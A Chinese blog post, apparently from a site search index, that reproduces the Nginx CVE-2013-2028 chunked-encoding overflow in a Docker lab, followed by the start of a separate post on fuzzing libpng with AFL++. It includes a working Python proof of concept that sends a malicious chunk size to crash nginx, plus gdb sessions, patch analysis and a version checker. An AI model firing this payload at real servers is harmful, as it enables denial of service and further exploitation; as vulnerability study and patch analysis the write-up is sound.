这是目前最可靠的方法，Nginx 官方 GitHub 保留了所有历史版本\n# 克隆 1.4.0 分支 git clone --single-branch --branch release-1.4.0 https://github.com/nginx/nginx.git nginx-1.4.0 cd nginx-1.4.0 # 验证分支 git log --oneline -3 方法二：从 GitHub 安全研究项目获取 有安全研究者专门整理了包含漏洞的 Nginx 版本\n# 下载包含预编译二进制和源码的项目 git clone https://github.com/m4drat/CVE-2013-2028-Exploit.git cd CVE-2013-2028-Exploit # 项目中包含 Dockerfile 和 docker-compose，可以直接构建环境 准备环境 因为笔者自己是学习二进制安全方向的，所以将以源码分析为主要目标\n这里我们结合前面两种方法的优点\n用docker起 nginx1.4.0 的原生 Ubuntu 16.04 环境，但是下载官方的源码进行分析，这样既避免了编译器系统环境差异，也能做到二进制分析\n当然哈，这也算是一种自找麻烦desuwa\n1st. 准备docker环境 先拉取适合nginx 1.4.0 的 docker 环境\nmkdir docker-nginx cd ./docker-nginx docker pull ubuntu:16.04 2nd. 下载官方源码用于分析 git clone --single-branch --branch release-1.4.0 https://github.com/nginx/nginx.git nginx-1.4.0-src # 验证源码版本 cd nginx-1.4.0-src git log --oneline -1 # 输出: ... release-1.4.0 3rd. 在docker中搭起nginx # 在宿主机上，启动Ubuntu 16.04容器并挂载源码 docker run -it --privileged --name nginx_cve \\ -v ./nginx-1.4.0-src:/nginx-src \\ -p 8080:80 \\ -p 1234:1234 \\ ubuntu:16.04 /bin/bash # 容器内安装必要依赖 apt-get update apt-get install -y build-essential gcc g++ make libpcre3-dev zlib1g-dev libssl-dev gdb gdbserver vim 编译nginx：\ncd /nginx-src # 配置编译选项（关键：禁用优化，开启调试） ./auto/configure \\ --prefix=/usr/local/nginx \\ --with-debug \\ --with-cc-opt=\u0026#34;-O0 -g -fno-stack-protector\u0026#34; \\ --with-ld-opt=\u0026#34;-fno-stack-protector\u0026#34; \\ --without-http_rewrite_module make -j$(nproc) make install 注意哈，这里的编译是为了方便调试，如果需要验证POC的话还是用以下命令正常配置编译选项：\n/auto/configure --without-http_rewrite_module --without-http_gzip_module 关键编译选项说明：\nO0: 禁用优化，方便调试 g: 包含调试符号 fno-stack-protector: 禁用栈保护（漏洞利用必需） 4th. 配置Nginx以方便调试 编辑 /usr/local/nginx/conf/nginx.conf：\nuser root; # 避免权限问题 worker_processes 1; # 单进程，方便调试 daemon off; # 前台运行，方便gdb attach master_process off; # 禁用master进程，直接调试worker events { worker_connections 1024; } http { include mime.types; default_type application/octet-stream; server { listen 80; server_name localhost; location / { root html; index index.html; } } } 修改完之后可以使用 -t 来检查conf文件\n5th. 调试环境配置 启动nginx 并使用 gdbserver 附加调试\n# 容器内：启动gdbserver gdbserver :1234 /usr/local/nginx/sbin/nginx # Ubuntu 24.04主机上：连接远程调试 gdb /path/to/nginx-1.4.0-src/objs/nginx # 在拉取的源码目录下 (gdb) target remote localhost:1234 (gdb) set follow-fork-mode child # 关键：跟踪子进程 (gdb) set detach-on-fork off 这里注意啊，gdbserver启动的端口1234在前文创建容器时就已经配置好了，\n如果有师傅发现没有反应可以用 docker ps -a 检查一下端口映射是不是忘记开了\n最后可以看到如上图所示，gdb远程调试\n# 设置源码路径映射（关键！） (gdb) set substitute-path /nginx-src /path/to/your/nginx-1.4.0-src # 设置断点（CVE-2013-2028 漏洞位置） (gdb) break ngx_http_parse_chunked (gdb) break ngx_http_do_read_client_request_body (gdb) break ngx_http_read_discarded_request_body # 溢出发生处 # 继续运行 (gdb) continue 可以看到这边已经跟进调试了，并且也有源码对照\n验证简易POC 在另一个终端发送如下简易POC来确认chunk解析环节的整数溢出\n#!/usr/bin/env python3 import socket import sys def trigger_cve_2013_2028(host=\u0026#34;127.0.0.1\u0026#34;, port=8080): \u0026#34;\u0026#34;\u0026#34; CVE-2013-2028 简易触发POC 用于在gdb中观察整数溢出 \u0026#34;\u0026#34;\u0026#34; # 构造HTTP请求头 # 关键：Transfer-Encoding: chunked 必须存在 headers = f\u0026#34;\u0026#34;\u0026#34;POST / HTTP/1.1\\r Host: {host}\\r Transfer-Encoding: chunked\\r Content-Length: 0\\r Connection: Keep-Alive\\r \\r \u0026#34;\u0026#34;\u0026#34; # 计算需要填充的长度，使chunk size刚好落在特定位置 # nginx第一次接收1024字节，我们需要构造一个超长的十六进制\u0026#34;chunk size\u0026#34; # 这个值会被解析为负数，然后被当作极大的无符号数使用 # 填充到接近1024字节边界 padding_len = 1024 - len(headers) - 16 # 预留chunk size空间 chunk_header = \u0026#34;f\u0026#34; * padding_len # 构造恶意的chunk size - 这是触发整数溢出的关键 # 在64位系统上，这个负数值会被转换为极大的size_t malicious_size = \u0026#34;f000000000000060\u0026#34; # 组装第一包数据 payload = headers + chunk_header + malicious_size + \u0026#34;\\r\\n\u0026#34; print(f\u0026#34;[*] 目标: {host}:{port}\u0026#34;) print(f\u0026#34;[*] 数据包长度: {len(payload)} bytes\u0026#34;) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # 发送数据包 - 触发整数溢出设置错误的长度值 print(\u0026#34;[*] 发送数据...\u0026#34;) s.sendall(payload.encode()) s.close() print(\u0026#34;[*] POC发送完成，检查gdb中的崩溃信息\u0026#34;) except Exception as e: print(f\u0026#34;[!] 错误: {e}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: host = sys.argv[1] if len(sys.argv) \u0026gt; 1 else \u0026#34;127.0.0.1\u0026#34; port = int(sys.argv[2]) if len(sys.argv) \u0026gt; 2 else 8080 trigger_cve_2013_2028(host, port) 另外，在gdb中使用 p *r 就能得到完整的请求结构（这个有亿点长，挪至文章末尾了）\n在 64 位系统中，off_t 通常是有符号 64 位整数（int64_t） 溢出临界点：0x7FFFFFFFFFFFFFFF（2^63-1）是最大值，加 1 后变为 0x8000000000000000（-2^63） 这里可以看到长度已经被设置为 -1 了，\nctx结构体的size也在解析后变成了0xffffffff\n感兴趣的师傅可以选择在打下第一个断点后逐步追踪，\n观察size的值跟随解析函数一步步增大\ndisplay r-\u0026gt;headers_in.content_length_n display *ctx 比对补丁确定漏洞点 从上面的调试我们可以知道存在一个整数溢出的漏洞，接着我们看看 Nginx 官方给的补丁，分析漏洞的精确位置和防御逻辑。\n补丁来源：http://nginx.org/download/patch.2013.chunked.txt\n--- src/http/ngx_http_parse.c +++ src/http/ngx_http_parse.c @@ -2209,6 +2209,10 @@ data: } + if (ctx-\u0026gt;size \u0026lt; 0 || ctx-\u0026gt;length \u0026lt; 0) { + goto invalid; + } + return rc; done: 关键数据结构 漏洞的核心在于 ngx_http_chunked_t 结构体的定义（位于 src/http/ngx_http_request.h）：\ntypedef struct { ngx_uint_t state; // 解析状态 off_t size; // chunk 大小，有符号 64 位整数 off_t length; // 剩余长度，有符号 64 位整数 } ngx_http_chunked_t; 关键点：off_t 是有符号长整型（64 位系统为 64 位）。当累加结果超过 0x7FFFFFFFFFFFFFFF 时，会溢出为负数。\n整数溢出的精确触发点 漏洞发生在 ngx_http_parse_chunked 函数的状态机中，具体在 sw_chunk_size 状态处理十六进制数字时：\ncase sw_chunk_size: if (ch \u0026gt;= \u0026#39;0\u0026#39; \u0026amp;\u0026amp; ch \u0026lt;= \u0026#39;9\u0026#39;) { ctx-\u0026gt;size = ctx-\u0026gt;size * 16 + (ch - \u0026#39;0\u0026#39;); // 累加无上限校验 break; } c = (u_char) (ch | 0x20); if (c \u0026gt;= \u0026#39;a\u0026#39; \u0026amp;\u0026amp; c \u0026lt;= \u0026#39;f\u0026#39;) { ctx-\u0026gt;size = ctx-\u0026gt;size * 16 + (c - \u0026#39;a\u0026#39; + 10); // 累加无上限校验 break; } 当发送超长的十六进制 chunk size（如 0x8000000000000000）时，ctx-\u0026gt;size 累加溢出变为负数 -9223372036854775808。\n随后在进入 sw_chunk_data 状态时，ctx-\u0026gt;length 被计算为：\ncase sw_chunk_data: ctx-\u0026gt;length = ctx-\u0026gt;size + 4; // 负数 + 4 仍为负数 break; 补丁的精确位置 补丁位于函数末尾、所有状态处理完成后、return 语句之前：\ndata: // 状态机处理... switch (state) { // ... 各种 case ... } // 补丁添加在这里：函数出口处的统一校验 + if (ctx-\u0026gt;size \u0026lt; 0 || ctx-\u0026gt;length \u0026lt; 0) { + goto invalid; + } return rc; // 可能返回 NGX_AGAIN 或 NGX_OK done: ctx-\u0026gt;state = 0; b-\u0026gt;pos = pos + 1; return NGX_DONE; invalid: return NGX_ERROR; } 防御策略：采用\u0026quot;出口统一校验\u0026quot;（Sanitization）而非分散校验，确保所有代码路径流出的数据都经过检查，符合\u0026quot;失败安全\u0026quot;（Fail-Safe）原则。\n漏洞利用的完整调用链 ngx_http_read_discarded_request_body() └── ngx_http_discard_request_body_filter() └── ngx_http_parse_chunked() \u0026lt;-- 溢出发生 └── 返回 NGX_AGAIN └── 设置 r-\u0026gt;headers_in.content_length_n = rb-\u0026gt;chunked-\u0026gt;length └── ngx_http_read_discarded_request_body() 中： size = ngx_min((size_t) r-\u0026gt;headers_in.content_length_n, 4096); // 负数转 size_t 变成极大值 recv(c-\u0026gt;fd, buffer, size, 0); // 栈溢出！ 关键转换点 1：ngx_http_discard_request_body_filter 中的赋值\nif (rc == NGX_AGAIN) { /* set amount of data we want to see next time */ r-\u0026gt;headers_in.content_length_n = rb-\u0026gt;chunked-\u0026gt;length; // 负数赋给 content_length_n break; } 关键转换点 2：ngx_http_read_discarded_request_body 中的类型转换\n#define NGX_HTTP_DISCARD_BUFFER_SIZE 4096 // r-\u0026gt;headers_in.content_length_n 是 off_t（有符号） // 转为 size_t（无符号）时，负数变成极大正数 size = ngx_min((size_t) r-\u0026gt;headers_in.content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE); // 实际：size = 0xFFFFFFFFFFFFFFFF（如果原值是 -1） recv(c-\u0026gt;fd, buffer, size, 0); // buffer 只有 4096 字节，size 极大 -\u0026gt; 栈溢出 补丁校验条件的完备性 if (ctx-\u0026gt;size \u0026lt; 0 || ctx-\u0026gt;length \u0026lt; 0) { goto invalid; } ctx-\u0026gt;size \u0026lt; 0：检测直接溢出 ctx-\u0026gt;length \u0026lt; 0：检测传播溢出（ctx-\u0026gt;size + 4 也可能溢出，如 0x7FFFFFFFFFFFFFFF + 4 = 0x8000000000000003） 重新编译 上文中我们选择了不开启栈保护的编译选项，主要用于源码对照以及gdb调试分析\n接下来重新编译nginx\ncd /nginx-src # 清理之前的编译 make clean # 正常编译（用于实际利用测试） ./auto/configure \\ --prefix=/usr/local/nginx \\ --without-http_rewrite_module \\ --without-http_gzip_module make -j$(nproc) make install check for cve 接下来我们用工具脚本检验是否存在cve：\n脚本来源为 xiw1ll师傅的githubxiw1ll/CVE-2013-2028_Checker: Tool for checking Nginx CVE-2013-2028\n#!/usr/bin/env python3 # check.py import requests import sys import urllib3 from requests.packages.urllib3.exceptions import InsecureRequestWarning from packaging import version urllib3.disable_warnings(InsecureRequestWarning) vulnerable_versions = [\u0026#39;1.3.9\u0026#39;, \u0026#39;1.4.0\u0026#39;] vulnerable_range = (version.parse(\u0026#39;1.3.9\u0026#39;), version.parse(\u0026#39;1.4.0\u0026#39;)) def is_vulnerable(version_string): parsed_version = version.parse(version_string) return vulnerable_range[0] \u0026lt;= parsed_version \u0026lt;= vulnerable_range[1] def get_nginx_version(url): try: response = requests.get(url, timeout=3, verify=False) server_header = response.headers.get(\u0026#39;Server\u0026#39;, \u0026#39;\u0026#39;) if \u0026#39;nginx\u0026#39; in server_header.lower(): parts = server_header.split(\u0026#39;/\u0026#39;) if len(parts) \u0026gt; 1: version_string = parts[1] vulnerable = is_vulnerable(version_string) print(f\u0026#34;[{\u0026#39;!\u0026#39; if vulnerable else \u0026#39;+\u0026#39;}] Target: {url} Nginx version: {version_string} Vulnerable: {vulnerable}\u0026#34;) else: print(f\u0026#34;[?] Target: {url} Nginx detected but no version specified\u0026#34;) else: print(\u0026#34;[-] The server does not appear to be running Nginx.\u0026#34;) except requests.RequestException as e: print(f\u0026#34;[-] An error occurred: {e}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: try: url = sys.argv[1] get_nginx_version(url) except IndexError: print(\u0026#34;[*] Usage: python3 nginx_cve_2013_2028_checker.py http://127.0.0.1\u0026#34;) 如何构造exp 主要是BROP以及canary爆破，并且需要在其中找到能够利用的gadget，\n笔者在这就不多说了，感兴趣的师傅可以看看下面两位大佬的文章，\n讲的很详细，也有我在分析部分没讲到的补充\n【技术分享】BROP Attack之Nginx远程代码执行漏洞分析及利用-安全KER - 安全资讯平台\nNginx栈溢出分析 - CVE-2013-2028 - l3m0n - 博客园\np *r 请求结构体 pwndbg\u0026gt; p *ctx $2 = { state = 0, size = 0, length = 0 } pwndbg\u0026gt; p *r $3 = { signature = 1347703880, connection = 0x7ffff7fbc0c8, ctx = 0x6f3840, main_conf = 0x6e6dd8, srv_conf = 0x6fb1e8, loc_conf = 0x6ff4b8, read_event_handler = 0x44b05f \u0026lt;ngx_http_block_reading\u0026gt;, write_event_handler = 0x43bcdf \u0026lt;ngx_http_core_run_phases\u0026gt;, cache = 0x0, upstream = 0x0, upstream_states = 0x0, pool = 0x6f2f30, header_in = 0x6e5220, headers_in = { headers = { last = 0x6f2ff0, part = { elts = 0x6f39e8, nelts = 2, next = 0x0 }, size = 48, nalloc = 20, pool = 0x6f2f30 }, host = 0x6f39e8, connection = 0x0, if_modified_since = 0x0, if_unmodified_since = 0x0, if_match = 0x0, if_none_match = 0x0, user_agent = 0x0, referer = 0x0, content_length = 0x0, content_type = 0x0, range = 0x0, if_range = 0x0, transfer_encoding = 0x6f3a18, expect = 0x0, upgrade = 0x0, accept_encoding = 0x0, via = 0x0, authorization = 0x0, keep_alive = 0x0, x_forwarded_for = { elts = 0x0, nelts = 0, size = 0, nalloc = 0, pool = 0x0 }, user = { len = 0, data = 0x0 }, passwd = { len = 0, data = 0x0 }, cookies = { elts = 0x0, nelts = 0, size = 0, nalloc = 0, pool = 0x0 }, server = { len = 1, data = 0x6fcd86 \u0026#34;x\u0026#34; }, content_length_n = -1, keep_alive_n = -1, connection_type = 0, chunked = 1, msie = 0, msie6 = 0, opera = 0, gecko = 0, chrome = 0, safari = 0, konqueror = 0 }, headers_out = { headers = { last = 0x6f3158, part = { elts = 0x6f3480, nelts = 0, next = 0x0 }, size = 48, nalloc = 20, pool = 0x6f2f30 }, status = 0, status_line = { len = 0, data = 0x0 }, server = 0x0, date = 0x0, content_length = 0x0, content_encoding = 0x0, location = 0x0, refresh = 0x0, last_modified = 0x0, content_range = 0x0, accept_ranges = 0x0, www_authenticate = 0x0, expires = 0x0, etag = 0x0, override_charset = 0x0, content_type_len = 0, content_type = { len = 0, data = 0x0 }, charset = { len = 0, data = 0x0 }, content_type_lowcase = 0x0, content_type_hash = 0, cache_control = { elts = 0x0, nelts = 0, size = 0, nalloc = 0, pool = 0x0 }, content_length_n = -1, date_time = 0, last_modified_time = -1 }, request_body = 0x6f3e30, lingering_time = 0, start_sec = 1773895810, start_msec = 81, method = 2, http_version = 1001, request_line = { len = 14, data = 0x6fcd70 \u0026#34;GET / HTTP/1.1\\r\\nHost\u0026#34; }, uri = { len = 11, data = 0x6f3dd2 \u0026#34;/index.html\u0026#34; }, args = { len = 0, data = 0x0 }, exten = { len = 4, data = 0x6f3dd9 \u0026#34;html\u0026#34; }, unparsed_uri = { len = 1, data = 0x6fcd74 \u0026#34;/ HTTP/1.1\\r\\nHost\u0026#34; }, method_name = { len = 3, data = 0x6fcd70 \u0026#34;GET / HTTP/1.1\\r\\nHost\u0026#34; }, http_protocol = { len = 8, data = 0x6fcd76 \u0026#34;HTTP/1.1\\r\\nHost\u0026#34; }, out = 0x0, main = 0x6f2f80, parent = 0x0, postponed = 0x0, post_subrequest = 0x0, posted_requests = 0x0, phase_handler = 8, content_handler = 0x0, access_code = 0, variables = 0x6f3968, limit_rate = 0, header_size = 0, request_length = 55, err_status = 0, http_connection = 0x6e5190, log_handler = 0x44cb92 \u0026lt;ngx_http_log_error_handler\u0026gt;, cleanup = 0x0, subrequests = 201, count = 2, blocked = 0, aio = 0, http_state = 2, complex_uri = 0, quoted_uri = 0, plus_in_uri = 0, space_in_uri = 0, invalid_header = 0, add_uri_to_alias = 0, valid_location = 1, valid_unparsed_uri = 0, uri_changed = 0, uri_changes = 10, request_body_in_single_buf = 0, request_body_in_file_only = 0, request_body_in_persistent_file = 0, request_body_in_clean_file = 0, request_body_file_group_access = 0, request_body_file_log_level = 5, subrequest_in_memory = 0, waited = 0, cached = 0, gzip_tested = 0, gzip_ok = 0, gzip_vary = 0, proxy = 0, bypass_cache = 0, no_cache = 0, limit_conn_set = 0, limit_req_set = 0, pipeline = 0, chunked = 0, header_only = 0, keepalive = 1, lingering_close = 1, discard_body = 0, internal = 1, error_page = 0, ignore_content_encoding = 0, filter_finalize = 0, post_action = 0, request_complete = 0, request_output = 0, header_sent = 0, expect_tested = 0, root_tested = 1, done = 0, logged = 0, buffered = 0, main_filter_need_in_memory = 0, filter_need_in_memory = 0, filter_need_temporary = 0, allow_ranges = 0, state = 0, header_hash = 14551824004462063861, lowcase_index = 17, lowcase_header = \u0026#34;transfer-encoding\u0026#34;, \u0026#39;\\000\u0026#39; \u0026lt;repeats 14 times\u0026gt;, header_name_start = 0x6fcda5 \u0026#34;\\r\\n\u0026#34;, \u0026#39;f\u0026#39; \u0026lt;repeats 198 times\u0026gt;..., header_name_end = 0x6fcd9a \u0026#34;\u0026#34;, header_start = 0x6fcd9c \u0026#34;chunked\u0026#34;, header_end = 0x6fcda5 \u0026#34;\\r\\n\u0026#34;, \u0026#39;f\u0026#39; \u0026lt;repeats 198 times\u0026gt;..., uri_start = 0x6fcd74 \u0026#34;/ HTTP/1.1\\r\\nHost\u0026#34;, uri_end = 0x6fcd75 \u0026#34; HTTP/1.1\\r\\nHost\u0026#34;, uri_ext = 0x0, args_start = 0x0, request_start = 0x6fcd70 \u0026#34;GET / HTTP/1.1\\r\\nHost\u0026#34;, request_end = 0x6fcd7e \u0026#34;\\r\\nHost\u0026#34;, method_end = 0x6fcd72 \u0026#34;T / HTTP/1.1\\r\\nHost\u0026#34;, schema_start = 0x0, schema_end = 0x0, host_start = 0x0, host_end = 0x0, port_start = 0x0, port_end = 0x0, http_minor = 1, http_major = 1 } ","permalink":"https://chenjx12.github.io/posts/nginx-cve-2013-2028%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/","summary":"\u003ch1 id=\"nginx-cve-2013-2028漏洞环境搭建与复现\"\u003eNginx cve-2013-2028漏洞环境搭建与复现\u003c/h1\u003e\n\u003cp\u003e声明：测试环境为 Ubuntu 16.04 + Nginx 1.4.0，仅供安全研究使用\u003c/p\u003e\n\u003ch2 id=\"环境搭建\"\u003e环境搭建\u003c/h2\u003e\n\u003cp\u003e由于 cve-2013-2028 漏洞影响到的Nginx版本 1.3.9 和 1.4.0 已经在官方网站中被移除\u003c/p\u003e\n\u003cp\u003e所以我们需要在其他地方获取有漏洞的版本\u003c/p\u003e\n\u003ch3 id=\"方法一nginx官方github仓库\"\u003e方法一：Nginx官方GitHub仓库\u003c/h3\u003e\n\u003cp\u003e这是目前最可靠的方法，Nginx 官方 GitHub 保留了所有历史版本\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 克隆 1.4.0 分支\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit clone --single-branch --branch release-1.4.0 https://github.com/nginx/nginx.git nginx-1.4.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecd nginx-1.4.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 验证分支\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit log --oneline -3\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"方法二从-github-安全研究项目获取\"\u003e方法二：从 GitHub 安全研究项目获取\u003c/h3\u003e\n\u003cp\u003e有安全研究者专门整理了包含漏洞的 Nginx 版本\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 下载包含预编译二进制和源码的项目\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit clone https://github.com/m4drat/CVE-2013-2028-Exploit.git\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecd CVE-2013-2028-Exploit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 项目中包含 Dockerfile 和 docker-compose，可以直接构建环境\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"准备环境\"\u003e准备环境\u003c/h2\u003e\n\u003cp\u003e因为笔者自己是学习二进制安全方向的，所以将以源码分析为主要目标\u003c/p\u003e\n\u003cp\u003e这里我们结合前面两种方法的优点\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e用docker起 nginx1.4.0 的原生 Ubuntu 16.04 环境，但是下载官方的源码进行分析，这样既避免了编译器系统环境差异，也能做到二进制分析\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Nginx cve-2013-2028漏洞环境搭建与复现"},{"content":"我的AFL++fuzzing入门之路（4） 00 引言：跨越鸿沟 回顾前三天：\nDay 1：在\u0026quot;教科书式test.c\u0026quot;上跑通AFL++，理解状态界面 Day 2：深入插桩原理，发现\u0026quot;平墙式memcmp让AFL失明\u0026quot;的致命问题 Day 3：用ASAN将\u0026quot;隐形漏洞\u0026quot;转化为\u0026quot;显性崩溃\u0026quot; 提出问题： 真实项目不是afl-cc test.c这么简单。面对libpng这类真实解析器：\n如何编译带依赖的开源项目？ 如何应对无处不在的\u0026quot;平墙式\u0026quot;魔数检查（memcmp(header, \u0026quot;\\x89PNG\u0026quot;, 4)）？ 如何让AFL++不再\u0026quot;瞎猜\u0026quot;？ 本章目标： 以libpng 1.6.54为演示目标，掌握实战前的三大核心准备：\n编译真实项目（带ASAN插桩） 构建高质量种子语料库 用字典破解\u0026quot;平墙式\u0026quot;困境 01 实战目标编译：以libpng为例 1st. 为什么选libpng 理由 说明 经典攻击面 图片解析器天生处理不可信输入（用户上传） 代码规模适中 约3万行，比内核简单，比test.c真实 历史漏洞丰富 CVE-2018-14550、CVE-2019-7317等，有参考案例 格式相对简单 PNG结构清晰：文件头+Chunk（IHDR/IDAT/IEND） 官方支持完善 Google OSS-Fuzz已集成，有现成字典参考 选什么版本？看了一下，最后决定选择1.6.54，存在已知CVE，CVE-2026-25646（png_set_quantize()堆溢出），1.6.55修复\nCVE-2026-25646速览：png_set_quantize()函数在处理调色板（PLTE Chunk）时存在堆缓冲区溢出，存在30年之久。这正是ASAN的检测目标，也是我们Fuzzing的\u0026quot;猎物\u0026quot;。\n2nd. 下载与依赖 # 下载源码 wget https://download.sourceforge.net/libpng/libpng-1.6.54.tar.gz tar -xzf libpng-1.6.54.tar.gz \u0026amp;\u0026amp; cd libpng-1.6.54 # 验证版本 head -5 README README for libpng version 1.6.54 ================================ # 安装依赖 sudo apt update sudo apt install zlib1g-dev # libpng依赖zlib 3rd. 用afl-cc + ASAN编译 命令如下：\n./configure CC=afl-cc CXX=afl-c++ \\ CFLAGS=\u0026#34;-fsanitize=address -g -O2\u0026#34; \\ --disable-shared --enable-static make -j$(nproc) 参数解析：\n参数 作用 CC=afl-cc 指定AFL++编译器，自动插桩 -fsanitize=address 集成ASAN -g 保留调试符号，崩溃分析用 --disable-shared 静态链接，避免动态库路径问题 --enable-static 生成静态库 常见问题与解决：\nzlib not found错误： sudo apt install zlib1g-dev libpng16.so: cannot open shared object file： # 重新配置并强制静态链接 ./configure ... --disable-shared --enable-static ASAN运行时错误： # 设置环境变量（例如检测泄漏） export ASAN_OPTIONS=detect_leaks=1 4th. 验证插桩成功 # 方法：检查AFL符号 nm pngtest | grep -i afl | head -5 02 种子语料库：从\u0026quot;test\u0026quot;到\u0026quot;有效样本\u0026quot; 1st. 为什么echo \u0026quot;test\u0026quot;不够了 在 我的AFL++fuzzing之路（1） 中，我们用 echo \u0026quot;test\u0026quot; \u0026gt; seed.txt 作为种子，因为目标程序非常简单。但在真实场景中，程序往往有格式检查（如文件头魔数），无效种子会导致fuzzer在解析入口处就被“过滤”，无法深入代码路径。\n在 我的AFL++fuzzing之路（2） 中，我们有提到：平墙式memcmp让AFL\u0026quot;失明\u0026quot;。\n而libpng的\u0026quot;平墙式\u0026quot;检查：\n// png.c 中的魔数检查（8字节文件头） if (png_sig_cmp(buf, 0, 8)) { // 检查 \\x89PNG\\r\\n\\x1a\\n png_error(png_ptr, \u0026#34;Not a PNG file\u0026#34;); } 后果：用\u0026quot;test\u0026quot;作为种子，AFL需要随机变异出\\x89PNG...，概率(1/256)^8，几乎不可能。\n2nd. 收集真实PNG样本 来源：\nlibpng 1.6.54源码自带的contrib/pngsuite/测试图片（官方推荐） AFL++ fuzzdata 公开种子库 自己的截图（控制大小\u0026lt;50KB） mkdir -p raw_seeds/ cp /path/to/libpng-1.6.54/contrib/pngsuite/*.png raw_seeds/ cp ~/Pictures/*.png raw_seeds/ # 自己的截图 ls raw_seeds/ | wc -l # 查看总文件数 3rd. 用afl-showmap评估种子质量 核心实验：对比不同种子的覆盖率\n# 坏种子（Day 1） echo \u0026#34;test\u0026#34; \u0026gt; seed_bad.txt afl-showmap -o coverage_bad.map -- ./libpng-1.6.54/pngtest seed_bad.txt wc -l coverage_bad.map # 真实PNG（来自pngsuite） afl-showmap -o coverage_good.map -- ./libpng-1.6.54/pngtest 那么执行完我们应该可以看到以下两个结果：\n我们可以看到，bad_seed只触发了135条边，而good_seed触发了527条边，覆盖效率近几3倍\n种子类型 Captured tuples 覆盖率 坏种子 (seed_bad.txt) 135 tuples 极低 好种子 (某个PNG) 527 tuples 约3倍提升 关键发现：真实PNG比\u0026quot;test\u0026quot;字符串多触发了392条新边，直接证明了种子质量决定Fuzzing效果——再好的变异策略，也无法弥补坏种子的先天不足。\n4th. 使用 afl-cmin/afl-tmin 剪裁语料库 # 1. 准备目录 mkdir -p min_seeds/ # 3. 语料库最小化（去重） afl-cmin -i raw_seeds/ -o min_seeds/ -- ./libpng-1.6.54/pngtest @@ 可以看到种子的数量从55裁剪到了40\n# 4. 单样本最小化（精简单个体积） afl-tmin -i min_seeds/basn0g01.png -o min_seeds/minimal.png -- ./libpng-1.6.54/pngtest @@ 意外发现：afl-tmin报告\u0026quot;文件大小减少0.00%\u0026quot;，说明这个PNG已经是最优状态——164字节，无冗余数据。\n这恰恰说明pngsuite是专业测试集，每个字节都有意义。实际从网上下载的图片通常会有大量压缩空间。\n# 5. 测试 afl-showmap -o coverage_min.map -- ./libpng-1.6.54/pngtest min_seeds/minimal.png # 6. 查看结果 wc -l coverage_min.map 种子类型 文件大小 tuples数量 seed_bad.txt 5B 135 原始PNG (basi0g01.png) 164B 527 afl-tmin优化后 164B 527 由上面的操作和结果，我们可以得到：\nafl-cmin：去重不丢覆盖，52→40文件，效率提升30% afl-tmin：精简约束体积，本例中已达最优（164字节触发527边） 质量 \u0026raquo; 数量：164字节的专业种子 \u0026gt; 5B的垃圾数据 03 字典加速：攻克“平墙式”困境 1st. 回顾平墙式检验的噩梦 test_wall.c的教训：\nif (memcmp(buf, \u0026#34;AFL++\u0026#34;, 5) == 0) __builtin_trap(); 无反馈：匹配0-4字节时，AFL无法区分\u0026quot;接近目标\u0026quot;和\u0026quot;完全无关\u0026quot; 结果：30分钟，681万次执行，0崩溃 根因：memcmp是\u0026quot;平墙式\u0026quot;检查——要么全对，要么全错，没有中间状态给AFL学习 libpng的同样困境：\n// png.c 中的魔数检查（8字节） if (png_sig_cmp(buf, 0, 8)) // 检查 \\x89PNG\\r\\n\\x1a\\n png_error(png_ptr, \u0026#34;Not a PNG file\u0026#34;); // Chunk类型检查（4字节） if (memcmp(chunk_type, \u0026#34;IHDR\u0026#34;, 4) == 0) ... if (memcmp(chunk_type, \u0026#34;PLTE\u0026#34;, 4) == 0) ... // CVE-2026-25646关键！ if (memcmp(chunk_type, \u0026#34;IDAT\u0026#34;, 4) == 0) ... if (memcmp(chunk_type, \u0026#34;IEND\u0026#34;, 4) == 0) ... 后果：没有字典时，AFL需要随机变异出\\x89PNG或PLTE，概率(1/256)^4起步，几乎不可能突破。\n2nd. PNG字典构造：赋予AFL\u0026quot;领域知识\u0026quot; 原理：字典让AFL将预定义字符串视为原子token，直接插入而非逐字节猜测。\n获取官方字典（从Google 